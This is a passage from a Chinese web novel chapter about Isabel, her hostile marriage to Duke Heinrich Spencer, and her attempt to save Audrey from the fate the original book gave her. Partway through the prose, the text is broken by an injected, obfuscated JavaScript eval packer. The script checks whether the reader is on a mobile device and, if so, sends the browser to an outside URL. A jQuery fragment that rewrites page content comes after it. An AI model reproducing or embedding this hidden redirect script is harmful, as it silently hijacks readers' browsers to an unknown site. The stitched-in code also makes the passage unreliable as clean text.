海因里希冷笑一声：“是的。在大婚之前，赶紧离开。” “婚书已经签了，女王赐婚，我不敢逃。” “只要你愿意走，剩下的我能摆平。” “摆平？怎么摆平？”伊莎贝尔眼带讥笑，“公爵大人，你能做的无非是让我换个身份，又或是逃亡赫斯兰？埃尔美？可我要的是和家人堂堂正正地生活，你做得到吗？” 沉默蔓延开来，只剩彼此的喘息声。 海因里希瞥着她，淡声道：“那你以为留在查尔维斯会过上好日子吗？弱者尸骨无存，强者会陷入无止境的斗争，你现在不过是被一个极小的胜利冲昏头脑。” “那是我的事。”伊莎贝尔忽然上前一步，冰蓝色的眼睛盯着他，微笑，“我为我的野心负责，也会承受选择的代价。” 17. 第 17 章 “很好！很好！”海因里希发出短促的笑声，点点头，眸中戾气横生，“祝你成功，别倒在半路。我绝不会伸手，哪怕只是扶你一把，我保证！” “万分感谢！”伊莎贝尔微眯眼，声调拔高，语气仍然冷静，“比起毫无用处的帮助，只做名义上的夫妻更让我感到舒坦。多谢你提供的自由，斯宾塞先生！” 突然爆发的争吵，结束得也很快。 可彼此目光对峙，谁也不让谁，谁也不先宣告离开。 伊莎贝尔很少动怒，即便海因里希作风强横。 她最擅长识别人心，无论他说话多么难听，但做的事的确有利于她。 能扛住赐婚的压力，夸口摆平一切送她走，是需要极大的能耐和勇气。 真正点燃她的导火索，是那句——我讨厌弱者。 当《镀金牢笼》只是文字，作为许莉莎，她并没有切身体会。 可当她成为伊莎贝尔，来到查尔维斯，看见这里的一切，看见每一个人，她都会想……他们怎么不帮帮奥蒂？她不知道奥蒂经历了什么，只知道这个小姑娘死在雪夜里。 明知道这已经是“上一世”，伊莎贝尔却控制不住审视查尔维斯的所有人。 就因为奥黛丽是个“弱者”？所以活该葬送在一些可笑的斗争里？可什么是弱者？他们又凭什么断定谁是弱者？不符合他们那一套法则的所有人吗？ 狗屁的规则，一本书而已，迟早给你踹翻。 伊莎贝尔冷笑，闭上眼睛，深呼吸，平息完翻滚的情绪。 “海因里希。”伊莎贝尔沉默片刻，忽然直呼其名，“假如我就是弱者，单纯善良，毫无心机，就在今天被路易莎耍得团团转，你会帮我吗？” 海因里希嗤笑：“你在用莫须有的假设考验我的爱心？” 伊莎贝尔直视他：“回答我。” “不会。”他很快说。 海因里希黝黑的瞳孔像深渊，倒映着无数戾气，再抬眸，又恢复那副蔑视一切的样子。 “战场上心慈手软的人，永远最先倒下。在公爵府，单纯善良的人，还没出生。” 海因里希缓缓靠近，几乎贴着她的脸，轻声说，“我姓斯宾塞，又能是什么好人呢？” 说完，转身离去。 伊莎贝尔看着他的背影，伫立良久。 回忆他刚才眼底的浓烈情绪，忽然想起他种种可怕的传闻。 不是好人吗？ 也许吧。 伊莎贝尔转身回了房间。 - 这一夜，伊莎贝尔突然梦见奥黛丽。 梦里的奥黛丽装束与以往不同，她穿着华丽的礼服裙，人却瘦得不成样子。硕大的珠宝戴在她的脖子上，越发显得细瘦可怜。 伊莎贝尔想叫她，却发现奥黛丽似乎看不见自己。 窗外雪花纷飞，她躺在床上，也不关窗，就这么呆呆地看着外面，水蓝色的眼睛毫无神采，奄奄一息。 忽然想到原书那段话——奥黛丽冻死在一个雪夜。 这是那一天吗？ 亲眼目睹那个永远热情洋溢的小丫头，变成这副模样，伊莎贝尔的心不断往下沉。 即便是在梦里，她也试图发出声音唤醒奥黛丽。 突然，奥黛丽眼珠动了动，却不是听见伊莎贝尔的声音。 而是门被推开，有人进来了。 伊莎贝尔只能看见奥黛丽，却看不见她的视角。 奥黛丽似乎很惊讶这个人的到来，愣了很久，才接过那人递过来的信封。 那只手骨节分明，掌心还带有常年握着武器留下的老茧。 下一刻，画面一转。 奥黛丽被裹在厚被子里，歪着头靠在车窗边。 行驶的马车带动摇晃的视野。 虽然身体还是虚弱，但她的眼睛不再黯淡，重新焕发光亮。 车窗外是熟悉的景象——金盏菊迎风摇曳，诺曼庄园近在眼前。 …… 一觉醒来，伊莎贝尔在床上坐了很久。 她没有看过全文，难道故事的结局与梗概不同，奥黛丽没有死，反而被送回家了吗？ “诺曼小姐，您的报纸。” 新派来的女仆伊迪斯准时敲门，打断伊莎贝尔的思绪。 “进来。” 伊莎贝尔有每天看新闻的习惯，今天有些晃神，看着看着就想到昨晚的梦。 也没什么好琢磨的，不管原书里奥黛丽结局如何，这一世，她不会让这些发生。 “小姐，早餐需要送上来吗？”伊迪斯问。 “如果不麻烦的话，就这么做，谢谢。”伊莎贝尔礼貌颔首。 忽然想起梦里那双手，她叫住伊迪斯，“对了，我想问问，斯宾塞家有三少爷吗？” 伊迪斯一愣：“没有，斯宾塞家只有两位少爷。” 伊莎贝尔挑眉，眸光微动：“那有没有一个叫亨里克的人？” 这让伊迪斯犯了难，她迟疑道：“有，但是……很多。查尔维斯庄园仆役加起来数百人，再算上村子里的佃户居民，叫亨里克的恐怕有一只手都不止，不知道您说的是哪一个。” 伊莎贝尔若有所思：“哦，我明白了。谢谢你。” 伊迪斯告退。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902054|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有三少爷？那亨里克这个名字大概也是假的。 假如梦境真的是原书内容，那就说明有人帮了奥黛丽。 这个男人起码得有能力将公爵夫人运出庄园。 埃德蒙不可能，排除。 现在假冒的三少爷亨里克也排除。 那么只剩……某位口口声声讨厌弱者，十足法|西|斯做派的先生了。 昨天因为这句话而动怒的伊莎贝尔，此刻怒意消弭，眼底划过玩味。 所以，即便是讨厌弱者，也还是会违背本心，伸出援手吗？ 有点意思了。 她放下报纸，摇了摇铃铛，艾米丽很快进来，“小姐，有什么可以帮你？” 伊莎贝尔招了招手，示意她附耳我过来，“你帮我去……” - 微风拂过湖面，树叶发出簌簌声。 夏日的午后一切都显得懒洋洋。 艾米丽此刻却焦虑不堪，因为小姐交代了一个不可能完成的任务——打听出路易莎的背景和秘辛。 小姐还特意嘱咐她，上至老太太的贴身女仆埃莉诺，下至厨房帮佣，可以到处问，务必人尽皆知。 艾米丽很想说，这是问多少人就能解决的事情吗？谁敢把公爵府太太的秘密往外传？饭碗不要了吗？ 她暗自苦恼，揪住路边的野草一顿猛薅。准备启用伊莎贝尔传授的第二套方法——向神祈祷。 湖边大树下，艾米丽闭着眼许愿——三分钟之内，让我看见那个女人的所有资料，阿门。 耳边传来脚步声，她睁开眼，就看见一个小女仆从身后跑了过去，还掉了本书。 “你东西掉了！”好心的艾米丽向来有拾金不昧的美德。 不料，小女仆跑得更快了，“嗖”一下没影。 艾米丽跑得喘不上气，连声呼喊未果，嘟囔着抱怨几声。 正要低头看看是什么，一翻开平平无奇的经书封皮，她陡然瞪大眼睛，眼泪汪汪。 心软的神！显灵了！ 这哪是锡兰圣经？！这简直是查尔维斯八卦大全！ 艾米丽不敢耽误，飞快送上伊莎贝尔案头，并眉飞色舞描述上帝显灵经过。 谁料，伊莎贝尔却并不显得惊讶，她翻了翻八卦大全，轻笑：“我想，也许不是上帝，是某位田螺先生。” 艾米丽匪夷所思：“田螺……先生？” 另一边，完成掉落的小女仆跑到角落里，亲眼看见艾米丽捡走圣经，这才松了口气。 摸了摸口袋里的酬劳，小女仆也向神祈祷——这样的任务多来点吧，阿门。